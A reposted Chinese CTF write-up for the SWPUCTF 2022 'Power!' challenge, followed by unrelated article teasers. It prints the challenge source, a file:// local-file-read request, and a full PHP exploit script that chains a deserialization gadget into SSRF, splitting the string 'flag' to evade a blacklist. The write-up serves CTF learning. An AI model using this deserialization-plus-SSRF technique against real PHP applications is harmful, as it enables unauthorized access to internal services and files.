NSS [SWPUCTF 2022 新生赛]Power!

NSS [SWPUCTF 2022 新生赛]Power!

开题。

image-20230930213327255

随便传一个111,后端进行了一个文件包含操作。

image-20230930213417045

输入index.php,回显了一个不可显示图片。

image-20230930213518985

有点小蒙蔽的,一般这种情况就源码,抓包,扫描。源码里面果然有货。

image-20230930213649693

base解码后是index.php的源码,同时根据hint,直接传参?source=xxx就直接回显了源码。

image-20230930213812681

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?>

粗略一看,刚刚读取文件的功能是由以下代码实现,过滤了http: gopher: glob: php:。过滤了 gopher: 不禁让人怀疑要用到SSRF获取内网资源。

image-20230930214712172

怀疑归怀疑,我们先读取以下根目录下/flag文件和当前目录下flag.php文件,两个比较常见的存放flag文件。

?image_path=file:///var/www/html/flag.php

当前目录下flag.php文件存在。解码后是:

<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>

怀疑属实,要用到SSRF,从内网65500端口访问web目录下flag.php

回顾一下源码,源码有反序列化点并且类中有SSRF特征代码。

image-20230930220748359

image-20230930220800248

反序列化+SSRF,启动!首先找反序列化链子再找SSRF利用方式。

一、构造链子。(倒着来)

我们的结尾肯定是FileViewer::loadfile()方法,调用其中的$file = $this->curl($this->local.$this->path); curl请求任意资源。

image-20230930221943172

FileViewer::__call()方法能调用FileViewer::loadfile()方法。

image-20230930222036608

Backdoor::__destruct()方法能调用FileViewer::__call()方法。

image-20230930222131463

最终链子是:

Backdoor::__destruct()->
FileViewer::__call()->
FileViewer::loadfile()

二、如何利用SSRF请求内网资源127.0.0.1:65500/flag.php

我们有两个阻碍,一是黑名单过滤,二是__wakeup()魔术方法。

黑名单过滤很好过。我们请求的地址是$this->local.$this->path拼接而成,但是只对$this->path过滤了字符串/flag,我们使$this->local=127.0.0.1:65500/f以及$this->path=lag.php即可绕过过滤。

__wakeup()魔术方法其实根本不用绕过,FileViewer实例对象被反序列化后立刻执行__wakeup()魔术方法,但是在Backdoor::__destruct()方法中可以对FileViewer->path重新赋值。这个顺序搞明白了就发现__wakeup()魔术方法根本限制不了我们。

1


我一开始的EXP是这样的:
image-20230930225226788

成功导致题目报错:

image-20230930225250561

这是由于反序列化后立马调用了loadfile()方法,而我们反序列化传进去的是Backdoor类实例对象,没有这个方法。

image-20230930225416113

反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。

基于以上原理我们,我们再new一个FileViewer类实例对象,把我们EXP构造的Backdoor类实例对象随意赋值给新new的FileViewer类实例对象的任意属性就行。

当然也可以基于以上方法更进一步,用GC回收机制,payload在base64编码前自己破坏掉一点,使得外部类(新new的FileViewer类实例对象)直接无效被回收,内部类(Backdoor类实例对象)正常反序列化被运作getflag。

EXP:

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{                                                      //$this->path不包含字符串"flag"$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}
}
class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}
}//--------------【以上都是一模一样CV,不用管,没有改】---------------------------$file=new FileViewer();
$back=new Backdoor();$back->a=$file;
$back->b="local";
$back->superhacker="127.0.0.1:65500/f";$back->a->path="lag.php";$a=new FileViewer();
$a->local=$back;echo base64_encode(serialize($a));

image-20230930225921320

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/285526.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

了解Spring:Java开发的利器

Spring是一款开源的轻量级Java开发框架&#xff0c;旨在提高开发人员的效率和系统的可维护性。本文将介绍Spring的基本概念、使用优势、设计模式以及与Spring MVC和Spring Boot的关联。 什么是Spring&#xff1f; Spring是一款开源的轻量级Java开发框架&#xff0c;它由多个模…

JAVA----进程

进程(process) 目录 进程(process)1. 进程--即一个**跑起来**的运用程序2. 进程 可视为是操作系统进行资源分配的基本单位3. 在操作系统中,通常使用称为 PCB 这样的结构体来描述进程的.4. PCB5. 文件描述符(重点)6. 进程调度(关键重点)1. PCB 提供了几个属性,支持 进程调度1. 状…

2024常用接口抓包以及接口测试工具总结【建议收藏】

接口 统称为API&#xff0c;程序与程序之间的对接、交接。 接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点&#xff0c;主要是为了检验不同组件&#xff08;模块&#xff09;之间数据的传递是否正确&#xff0c;同时接口测试还要测试当前系统与第三方…

SQLiteC/C++接口详细介绍sqlite3_stmt类(七)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;六&#xff09; 下一篇&#xff1a; 无 22、sqlite3_column_database_name 用于返回结果集中指定列的数据库名称。如果结果集是由多个Join操作产生的&#xff0c;…

LabVIEW电动汽车直流充电桩监控系统

LabVIEW电动汽车直流充电桩监控系统 随着电动汽车的普及&#xff0c;充电桩的安全运行成为重要议题。通过集成传感器监测、单片机技术与LabVIEW开发平台&#xff0c;设计了一套电动汽车直流充电桩监控系统&#xff0c;能实时监测充电桩的温度、电压和电流&#xff0c;并进行数…

Tether CEO力挺波场TRON,直言其在一定程度实现了惠普金融

近期,加密媒体Bankless对Tether CEO Paolo Ardoino进行了深度专访。在专访中,Tether CEO Paolo Ardoino详细且深入地向听众们介绍了USDT,并对波场TRON的成就给予了高度认可。他更是直接表示,“我们不应该讨厌波场TRON,更应该换位思考站在其他人的角度考虑,尤其是那些无法负担起…

C++实现FFmpeg音视频实时拉流并播放

1.准备工作: 下载rtsp流媒体服务器rtsp-simple-server,安装go开发环境并编译 编译好后启动流媒体服务器 准备一个要推流的mp4视频文件,如db.mp4 使用ffmpeg开始推流 推流命令: ffmpeg -re -stream_loop -1 -i db.mp4 -c copy -rtsp_transport tcp -f rtsp rtsp://192.168.16…

【网络安全】这份近 200 页应急响应文档,帮助了不少安全逆子

前言 成为伟大黑客的关键在于做自己喜爱的事&#xff0c;要把一件事情做好&#xff0c;你必须热爱它。所以只要你能坚持对安全技术的热爱&#xff0c;到了这种程度&#xff0c;你就会做得更好。 本文档注重理论与实战结合&#xff0c;不仅提供关键源代码供读者快速实践&#x…

2.1 Windows安装Python

Windows安装Python&#xff08;图解&#xff09; 在 Windows 上安装 Python和安装普通软件一样简单&#xff0c;下载安装包以后猛击“下一步”即可。 Python 安装包下载地址&#xff1a;https://www.python.org/downloads/ 打开该链接&#xff0c;可以看到有两个版本的 Pyth…

AD20如何整体修改元器件标号?

1 2这里可以设置元器件标号方向 3更新 4点击前两个选项&#xff08;生成&#xff0c;执行&#xff09;即可

蓝桥杯刷题-串的处理

串的处理 代码 s input().split() l_new [] for i in s:i list(i)new""for j in range(len(i)-1): # 遍历newi[j]if i[j].isdigit() and i[j1].isalpha(): # 在字母和数字之间添加“_”new_if i[j].isalpha() and i[j1].isdigit(): # 同上new_newi[-1]l_new.appe…

用这几个工具搭建内容管理平台,企业工作效率翻倍!

在当今这个信息爆炸的数字时代&#xff0c;良好的内容管理变得尤为重要。无论你是一个大型企业&#xff0c;还是一个小型创业公司&#xff0c;一个高效的内容管理系统&#xff08;CMS&#xff09;都能够帮助你有条理地规划、创建、发布和优化你的内容。如果你正在寻找一款出色的…

@arco.design radioGroup 组件手写 beforeChange 方法

官方是没有提供 beforeChange 事件的&#xff0c;只能自己写一个 子组件&#xff08;CustomRadioGroup&#xff09; <template><a-radio-group :model-value"modelValue" change"onRadioChange"><a-radio v-for"item in list" …

第13篇:4线-2线优先编码器

Q&#xff1a;上一篇我们实现的4线-2线普通编码器在实际应用中会存在一个问题&#xff1a;如果中有2个或2个以上的取值同时为1&#xff0c;输出编码会出现混乱。本篇我们再来学习设计4线-2线优先编码器解决这个问题。 A&#xff1a;基本原理&#xff1a;规定操作先后顺序&…

Protocol Buffers设计要点

概述 一种开源跨平台的序列化结构化数据的协议。可用于存储数据或在网络上进行数据通信。它提供了用于描述数据结构的接口描述语言&#xff08;IDL&#xff09;&#xff0c;也提供了根据 IDL 产生代码的程序工具。Protocol Buffers的设计目标是简单和性能&#xff0c;所以与 XM…

路径问题总结

257二叉树的所有路径 257二叉树的所有路径 class Solution {public List<String> binaryTreePaths(TreeNode root) {List<String> ans new ArrayList<>();dfs(root,"",ans);return ans;}private void dfs(TreeNode root,String path,List<St…

计算机网络:物理层中的数字传输系统全景概览解析

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

使用Python制作一个批量查询搜索排名的SEO免费工具

搭建背景 最近工作中需要用上 Google SEO&#xff08;搜索引擎优化&#xff09;&#xff0c;有了解过的朋友们应该都知道SEO必不可少的工作之一就是查询关键词的搜索排名。关键词少的时候可以一个一个去查没什么问题&#xff0c;但是到了后期&#xff0c;一个网站都有几百上千…

【Unity】捕捉PC桌面的插件

【背景】 之前介绍了如何用一款名为uWindowCapture的Unity免费插件在Unity的Canvas上展示PC桌面。经过一段时间的使用,本篇继续分享此插件的一些功能和限制。 在此感谢作者Hecomi。 【特征和限制】 一般局域网络环境只能最多达到15帧的帧率,所以别幻想用来窜流游戏或者看电…

备战蓝桥杯Day35 - 动态规划 - 01背包问题

问题描述 隐含前提&#xff1a; 1.物体是不可分的&#xff0c;要么装&#xff0c;要么不装&#xff0c;不能只装一部分。 2.物体顶多使用一次。 动态规划思路 我在b站上看的闫氏dp分析大法的视频&#xff0c;他对dp问题做了总结归纳。 从集合的角度分析dp问题。求出有限集…